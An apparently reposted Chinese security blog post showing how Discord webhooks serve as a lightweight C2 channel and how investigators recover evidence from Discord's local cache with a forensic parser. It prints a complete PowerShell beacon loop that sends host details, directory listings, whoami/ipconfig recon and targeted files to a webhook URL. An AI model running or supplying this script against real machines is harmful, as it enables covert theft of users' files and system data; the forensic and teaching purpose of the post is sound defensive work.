网络安全之揭秘APT Discord C2 以及如何取证

Discord 为何吸引攻击者

Discord 之所以成为攻击者青睐的工具,并不是因为它本身恶意,而是因为它是合法且被信任的。它常常逃过安全控制的监测,并提供一些功能,使得在无需用户交互或提升权限的情况下轻松将数据发送出去。我们也在其他协作工具上看到过类似的滥用,例如 Microsoft Teams 和 Slack。在这篇博客中,我们不关注内存取证、网络遥测或主机端日志,而是聚焦于在使用 Discord webhook 进行 C2 和数据外泄时留存在本地缓存中的痕迹。我们没有启动完整的机器人,而是尽量保持简单,仅使用 webhook 将被攻陷主机上的数据推送到 Discord 频道。这与典型的脚本小子行为相符------不用 API 密钥、不需提升权限,只要一个 URL 和一些 PowerShell。

Discord webhook C2

Webhook 本质上就是一个被包装的 URL,允许你将消息和文件直接发送到 Discord 频道,发送到该 URL 的任何内容都会出现在关联的频道中。对于攻击者来说,这很方便,因为它易于设置、不需要任何特殊权限,并且表面上难以察觉。在本例中,我们将该 webhook 配置为攻击者的 C2 服务器,受害者机器上被窃取的信息会发送到该处。

下面是我们的示例 C2 服务器,频道 ptp-beacon 是所有 PowerShell 命令输出将出现的地方。

PowerShell 实战

下面是处理脚本初始化、向主控回传(beaconing)、文件枚举、侦察和数据外泄的 PowerShell 命令。每条命令都通过 PowerShell 发送到我们之前设置的 webhook,随后将结果直接传递到 Discord 服务器:

脚本初始化

复制代码
# 1. Discord webhook
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
​
# 2. Path to exfiltration target file
$filePath = "$env:USERPROFILE\Documents\SENSITIVE_FILES_HERE"
​
# 3. Create HTTP client and counter
$client = New-Object System.Net.Http.HttpClient
$counter = 0

Beacon 循环

复制代码
while ($true) {
    $counter++
​
    # ─── 1. Beacon ─────────────────────────────────────────────
    $json = '{"content":"━━━━━━━━━━━━━━━━━━\n:satellite: **Beacon Active**\n```User: ' + $env:USERNAME + '\nHost: ' + $env:COMPUTERNAME + '```"}'
    $jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
    $content = New-Object System.Net.Http.MultipartFormDataContent
    $content.Add($jsonContent, "payload_json")
    $response = $client.PostAsync($webhook, $content).Result
    Write-Host "Sent beacon at $(Get-Date): $($response.StatusCode)"

文件夹列表

复制代码
    # ─── 2. Folder Listing (every 2nd beacon) ──────────────────
    if ($counter % 2 -eq 0) {
        $userDirs = @("Documents", "Desktop", "Downloads", "Pictures")
        $folderListing = ""
​
        foreach ($dir in $userDirs) {
            $fullPath = Join-Path $env:USERPROFILE $dir
            $files = Get-ChildItem -Path $fullPath -ErrorAction SilentlyContinue | Select-Object -First 2
            if ($files) {
                $folderListing += "`n$dir:`n"
                $folderListing += ($files | ForEach-Object { " - " + $_.Name }) -join "`n"
            }
        }
​
        $escaped = $folderListing -replace '"', "'" -replace "`r?`n", "\n"
        $jsonFolders = '{"content":":file_folder: **User Directories**\n━━━━━━━━━━━━━━━━━━\n```' + $escaped + '```"}'
        $jsonContentFolders = New-Object System.Net.Http.StringContent($jsonFolders, [System.Text.Encoding]::UTF8, "application/json")
        $contentFolders = New-Object System.Net.Http.MultipartFormDataContent
        $contentFolders.Add($jsonContentFolders, "payload_json")
        $respFolders = $client.PostAsync($webhook, $contentFolders).Result
        Write-Host "Uploaded folder listing at $(Get-Date): $($respFolders.StatusCode)"
    }

目标文件外泄

复制代码
    # ─── 3. Exfil ptp-exfil.jpg (every 3rd beacon) ─────────────
    if ($counter % 3 -eq 0 -and (Test-Path $filePath)) {
        $fileBytes = [System.IO.File]::ReadAllBytes($filePath)
        $fileContent = New-Object System.Net.Http.ByteArrayContent (, $fileBytes)
        $fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
​
        $jsonExfil = '{"content":":package: **Targeted Exfil ::topsecret**\n━━━━━━━━━━━━━━━━━━"}'
        $jsonContentExfil = New-Object System.Net.Http.StringContent($jsonExfil, [System.Text.Encoding]::UTF8, "application/json")
        $contentExfil = New-Object System.Net.Http.MultipartFormDataContent
        $contentExfil.Add($jsonContentExfil, "payload_json")
        $contentExfil.Add($fileContent, "file", "ptp-exfil.jpg")
​
        $respExfil = $client.PostAsync($webhook, $contentExfil).Result
        Write-Host "Uploaded ptp-exfil.jpg at $(Get-Date): $($respExfil.StatusCode)"
    }

系统运行时间

复制代码
    # ─── 4. System Uptime (every 4th beacon) ───────────────────
    if ($counter % 4 -eq 0) {
        $uptime = (Get-CimInstance Win32_OperatingSystem).LastBootUpTime
        $jsonUptime = '{"content":":stopwatch: **System Uptime**\n━━━━━━━━━━━━━━━━━━\n```' + $uptime + '```"}'
        $jsonContentUptime = New-Object System.Net.Http.StringContent($jsonUptime, [System.Text.Encoding]::UTF8, "application/json")
        $contentUptime = New-Object System.Net.Http.MultipartFormDataContent
        $contentUptime.Add($jsonContentUptime, "payload_json")
        $respUptime = $client.PostAsync($webhook, $contentUptime).Result
        Write-Host "Uploaded uptime at $(Get-Date): $($respUptime.StatusCode)"
    }

信息转储

复制代码
    # ─── 5. Recon Dump (every 5th beacon) ──────────────────────
    if ($counter % 5 -eq 0) {
        $whoami = whoami
        $ipconfig = ipconfig | Out-String
        $reconFile = "$env:TEMP\recon.txt"
        "whoami:: $whoami`r`nIPConfig::`r`n$ipconfig" | Out-File -FilePath $reconFile -Encoding utf8
​
        $fileBytes = [System.IO.File]::ReadAllBytes($reconFile)
        $fileContent = New-Object System.Net.Http.ByteArrayContent (, $fileBytes)
        $fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("text/plain")
​
        $jsonRecon = '{"content":":mag: **Recon Data Attached (whoami + ipconfig)**\n━━━━━━━━━━━━━━━━━━"}'
        $jsonContentRecon = New-Object System.Net.Http.StringContent($jsonRecon, [System.Text.Encoding]::UTF8, "application/json")
        $contentRecon = New-Object System.Net.Http.MultipartFormDataContent
        $contentRecon.Add($jsonContentRecon, "payload_json")
        $contentRecon.Add($fileContent, "file", "recon.txt")
​
        $respRecon = $client.PostAsync($webhook, $contentRecon).Result
        Write-Host "Uploaded recon file at $(Get-Date): $($respRecon.StatusCode)"
    }

进一步外泄

复制代码
    # ─── 6. Targeted File: confidential.jpg (every 6th beacon) ─
    if ($counter % 6 -eq 0) {
        $targetFile = Get-ChildItem -Path $env:USERPROFILE -Recurse -Include confidential.jpg -ErrorAction SilentlyContinue | Select-Object -First 1
        if ($targetFile) {
            $fileBytes = [System.IO.File]::ReadAllBytes($targetFile.FullName)
            $fileContent = New-Object System.Net.Http.ByteArrayContent (, $fileBytes)
            $fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
​
            $jsonTarget = '{"content":":lock: **Targeted Exfil ::confidential.jpg**\n━━━━━━━━━━━━━━━━━━"}'
            $jsonContentTarget = New-Object System.Net.Http.StringContent($jsonTarget, [System.Text.Encoding]::UTF8, "application/json")
            $contentTarget = New-Object System.Net.Http.MultipartFormDataContent
            $contentTarget.Add($jsonContentTarget, "payload_json")
            $contentTarget.Add($fileContent, "file", "confidential.jpg")
​
            $respTarget = $client.PostAsync($webhook, $contentTarget).Result
            Write-Host "Uploaded confidential.jpg at $(Get-Date): $($respTarget.StatusCode)"
        } else {
            Write-Host "confidential.jpg not found"
        }
    }

休眠间隔

复制代码
    # ─── Sleep (tweakable beacon interval) ─────────────────────
    Start-Sleep -Seconds 20
}

现在我们已经展示了滥用 Discord webhook 是多么简单,让我们看看调查人员可以找到哪些遗留的证据。

追踪攻击者活动

下面的片段显示了 PowerShell 在向 webhook 推送数据时的活动日志。这些日志的每一行都确认了发送的内容及时间,因此我们可以看到持续的 beaconing,以便攻击者知道主机处于活动状态。接着上传一些数据、列出目录、记录系统运行时间并生成侦察文件,然后外泄诸如 topsecret.txtconfidential.jpg 等敏感文件。

NoContentOK 响应仅表示 webhook 确认 Discord 已成功接收数据。有了活动日志来确认流量,我们现在可以查看这些输出在 Discord 内部实际上是如何呈现的。

在 Discord 中查看结果

说完这些,让我们看看被外泄到 Discord 的 #ptp-beacon 文本频道中的内容:

看起来确实是一些相当机密的东西!到目前为止,我们已成功获取了一些用户信息、检查了他们的用户目录并窃取了若干敏感文件。但现在,作为攻击者,我们需要掩盖自己的痕迹。

痕迹清除

在我们将数据外泄到 C2 服务器并拿到所需信息后,清除痕迹。我已经删除了 Discord 服务器

Discord 缓存会留下什么

删除服务器并不会抹去一切。受害者机器上的 Discord 缓存会讲述一段完全不同的故事......

Discord 使用 Chromium 的 Simple Cache 格式在本地存储缓存。简单来说,这意味着附件、表情、webhook,甚至一些缩略图的副本会存放在磁盘上的以下路径下:

%AppData%\discord\Cache\Cache_Data

在该目录下,你会发现:

  • index -- Simple Cache 索引数据库

  • data_# -- 二进制缓存文件,每个文件包含多个缓存对象

  • f_###### -- 提取出的二进制对象(图片、附件等)

关键点是持久性:缓存内容通常在 Discord 消息或文件被删除很久之后仍然存在。它们的修改时间戳会与用户活动相对应,因此调查人员可以重建操作发生的准确时间。

缓存结构还可以将文件哈希(SHA256)与威胁情报源进行匹配,以确认是否使用了已知的恶意文件。除了缓存之外,还可以从内存中恢复 webhook URL 和 API 调用。

使用命令行解析器和基于 GUI 的工具自动化缓存分析

虽然存在一些用于解析 Chromium 缓存的开源工具,但我们找不到任何对 Discord 特定工件进行主动维护或定制的工具。为了解决这一问题,我们构建了一个 Discord 取证工具套件:用于取证分析的命令行解析器和基于 GUI 的套件。

这两款工具会递归扫描缓存文件夹并提取与 Discord 相关的工件,例如 webhook URL、附件和缓存图片。

Discord 取证工具:命令行输出

下面展示的是 CLI 的一段摘录,我在其中选择了缓存目录、为报告提供了标题,并选择了报告的输出位置与格式。接着我可以决定报告应包含哪些内容;你想要 CSV 时间线吗?想要包含与 Discord 关联的其他缓存区域吗?是否要启用 carve(以便可能恢复"先前存在"的文件)?是否需要详细输出?

一旦选择了这些选项,我们就可以看到已扫描的文件数量、扫描来源、报告存放位置以及从缓存中提取的工件分类。

Discord 取证工具:GUI 输出

GUI 版本提供了一个简洁、用户友好的界面,内置对缓存图像(包括表情、被外泄的截图和文档)的缩略图预览。该工具允许用户选择 Discord 缓存文件夹,然后在解析数据之前选择所需选项。

报告与恢复的证据

下面是该工具在我们的 PTP C2 Discord 服务器案例中发现并回报的摘要。我们可以看到表情、API 调用、附件、徽标和其他信息,这些都使分析人员能够在不同类型的文件之间进行过滤。

从受害者的角度,他们可能会想知道下面这些图像的来源,但我们确切知道它们来自哪里------那就是威胁行为者的 C2 服务器!

我们要求工具生成一个 CSV 时间线以及 HTML 报告,下面显示的是我们的 CSV 输出片段,我提供了一个片段,展示了一些图像、一个视频以及威胁行为者获取的侦察文本文件,这些全部存储在 Discord 的缓存中,并已按时间顺序被解析出来。

我们还要求工具生成完整的 CSV 报告,连同 HTML 报告和 CSV 时间线一起,下面是一张这些结果的截图,显示了一些被 carve 出来的文件:

回到可点击的 HTML 报告。下面显示被外泄的"confidential"文件,展示了修改日期、文件类型与来源、文件预览、相关哈希值以及文件被恢复的位置。

这些文件会被自动提取并存储在一个 media 文件夹中。

因此,即使威胁行为者已经从主机上外泄了数据并试图掩盖他们的痕迹,通过解析缓存文件夹,分析人员仍然可以恢复大量取证证据,包括被外泄的文件、侦察输出、webhook URL 和 API 调用,所有这些都有助于重建攻击者的活动。

结论

Discord 的合法性和易用性使其成为威胁行为者进行数据外泄或建立轻量级 C2 通道而不引起警觉的有吸引力的选择。因此,作为防御方,我们应当意识到这种便利性也可能被滥用:Discord 的缓存会保留详细的取证记录------图像、附件和 webhook 交互,通常在平台内容被删除很久之后仍然存在。

Discord 会留下遥测数据,可供 DFIR 团队重建攻击者时间线、验证外泄内容并加强归因。

这就是为什么我们开发了 DFS(不是那家沙发公司),而是 Discord Forensic Suite。

分析人员可以快速对主机进行初筛,生成包含哈希和时间戳的 HTML 报告,并将发现打包成证据包以供审查。

工具

复制代码
https://github.com/jwdfir/discord_cache_parser

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关

网络安全学习路线/web安全入门/渗透测试实战/红队笔记/黑客入门

感谢各位看官看到这里,欢迎一键三连(点赞+关注+收藏)以及评论区留言,也欢迎查看我主页的个人简介进行咨询哦,我将持续分享精彩内容~

相关推荐
key063 小时前
大模型在网络安全领域的应用与评测
网络·人工智能·web安全
隐语SecretFlow3 小时前
【隐语SecretFlow用户案例】亚信科技构建统一隐私计算框架探索实践
科技·算法·安全·隐私计算·隐私求交·开源隐私计算
Freshman小白3 小时前
实验室安全准入考试答案
安全·网课答案
荣光波比3 小时前
K8S(十二)—— Kubernetes安全机制深度解析与实践:从认证到RBAC授权
安全·容器·kubernetes
Guheyunyi5 小时前
风险感知中枢:监测预警系统的架构与核心
大数据·运维·安全·重构·架构·自动化
lingggggaaaa8 小时前
小迪安全v2023学习笔记(一百三十四讲)—— Windows权限提升篇&数据库篇&MySQL&MSSQL&Oracle&自动化项目
java·数据库·windows·笔记·学习·安全·网络安全
FreeBuf_11 小时前
Spring两大漏洞可导致泄露敏感信息及安全防护绕过(CVE-2025-41253/41254)
java·安全·spring
南一Nanyi12 小时前
才知道 DNS 还能基于 HTTPS 实现!
网络协议·安全·面试
Bruce_Liuxiaowei13 小时前
Win7虚拟机加入域错误排查指南:解决无法启动服务问题
运维·网络·windows·安全·网络安全